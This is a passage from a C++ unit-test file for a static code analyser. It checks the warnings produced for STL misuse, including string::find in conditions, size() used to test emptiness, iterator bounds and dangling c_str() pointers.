ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", 